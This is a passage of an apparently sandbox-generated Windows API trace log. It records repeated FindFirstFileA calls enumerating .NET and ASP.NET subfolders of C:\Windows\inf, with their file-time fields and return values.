ftCreationTime.dwLowDateTime=0xfe5504be, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe9a0bf0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe9a0bf0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502598 [0128.400] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\.NET Data Provider for SqlServer\\0409\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e423fe3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x21c5a254, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e423fe3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0128.462] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\.NET Memory Cache 4.0\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa3b73260, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0xa3b73260, ftLastAccessTime.dwHighDateTime=0x1d2e675, ftLastWriteTime.dwLowDateTime=0xa3b73260, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.463] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\.NET Memory Cache 4.0\\0009\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa3b73260, ftCreationTime.dwHighDateTime=0x1d2e675, ftLastAccessTime.dwLowDateTime=0x6ea72980, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x6ea72980, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502598 [0128.471] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\.NETFramework\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe5504be, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1e423fe3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e423fe3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.472] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\.NETFramework\\0000\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfe5504be, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfe9a0bf0, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfe9a0bf0, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502598 [0128.475] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\.NETFramework\\0409\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e423fe3, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x21c5a254, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e423fe3, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0128.550] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\ASP.NET\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x73998500, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x739e47c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x739e47c0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f8b0, dwReserved1=0x501536, cFileName=".", cAlternateFileName="")) returned 0x502598 [0128.554] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\ASP.NET\\0000\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x73998500, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x73998500, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x73998500, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f760, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.557] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\ASP.NET\\0001\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x73998500, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x73998500, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x73998500, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.561] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\ASP.NET\\0005\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x739be660, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x739be660, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x739be660, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.564] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\ASP.NET\\0006\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x739be660, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x739be660, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x739be660, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.567] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\ASP.NET\\0007\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x739be660, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x739be660, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x739be660, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.571] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\ASP.NET\\0008\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x739be660, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x739be660, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x739be660, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.574] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\ASP.NET\\0009\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x73998500, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x73998500, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x73998500, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.576] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\ASP.NET\\000A\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x739be660, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x739be660, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x739be660, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.579] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\ASP.NET\\000B\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x739be660, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x739be660, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x739be660, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.582] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\ASP.NET\\000C\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x739be660, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x739be660, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x739be660, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.585] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\ASP.NET\\000D\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x739be660, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x739be660, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x739be660, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.587] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\ASP.NET\\000E\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x739be660, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x739be660, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x739be660, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.591] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\ASP.NET\\0010\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x739be660, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x739be660, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x739be660, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.594] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\ASP.NET\\0011\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x739be660, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x739be660, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x739be660, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.597] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\ASP.NET\\0012\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x739be660, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x739be660, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x739be660, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.600] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\ASP.NET\\0013\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x739be660, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x739be660, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x739be660, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.604] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\ASP.NET\\0014\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x739be660, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x739be660, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x739be660, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.606] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\ASP.NET\\0015\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x739be660, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x739be660, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x739be660, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.610] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\ASP.NET\\0019\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x739e47c0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x739e47c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x739e47c0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.616] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\ASP.NET\\001D\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x739e47c0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x739e47c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x739e47c0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.619] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\ASP.NET\\001F\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x739e47c0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x739e47c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x739e47c0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.625] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\ASP.NET\\0404\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x73998500, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x739be660, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x739be660, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.629] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\ASP.NET\\0416\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x739be660, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x739be660, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x739be660, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.631] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\ASP.NET\\0804\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x73998500, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x73998500, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x73998500, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.634] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\ASP.NET\\0816\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x739e47c0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x739e47c0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x739e47c0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.638] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\ASP.NET_4.0.30319\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71336240, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x713a8660, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x713a8660, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0128.642] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\ASP.NET_4.0.30319\\0000\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71336240, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x738418a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x738418a0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.646] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\ASP.NET_4.0.30319\\0001\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71336240, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x738418a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x738418a0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.649] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\ASP.NET_4.0.30319\\0005\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7135c3a0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x73867a00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x73867a00, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.653] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\ASP.NET_4.0.30319\\0006\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7135c3a0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x73867a00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x73867a00, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.666] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\ASP.NET_4.0.30319\\0007\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7135c3a0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x73867a00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x73867a00, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.669] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\ASP.NET_4.0.30319\\0008\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7135c3a0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x73867a00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x73867a00, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.674] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\ASP.NET_4.0.30319\\0009\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71336240, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x738418a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x738418a0, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.677] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\ASP.NET_4.0.30319\\000A\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7135c3a0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x73867a00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x73867a00, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.680] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\ASP.NET_4.0.30319\\000B\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7135c3a0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x73867a00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x73867a00, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.684] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\ASP.NET_4.0.30319\\000C\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7135c3a0, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x73867a00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x73867a00, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.686] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\ASP.NET_4.0.30319\\000D\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x71382500, ftCreationTime.dwHighDateTime=0x1d2e676, ftLastAccessTime.dwLowDateTime=0x73867a00, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0x73867a00, ftLastWriteTime.dwHighDateTime=0x1d2e676, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0128.690] FindFirstFileA (in: lpFileName="C:\\Windows\\inf\\ASP.NET_4.0.30319\\000E\\*.*", lpFindFileData=0x18f8f8 | out: 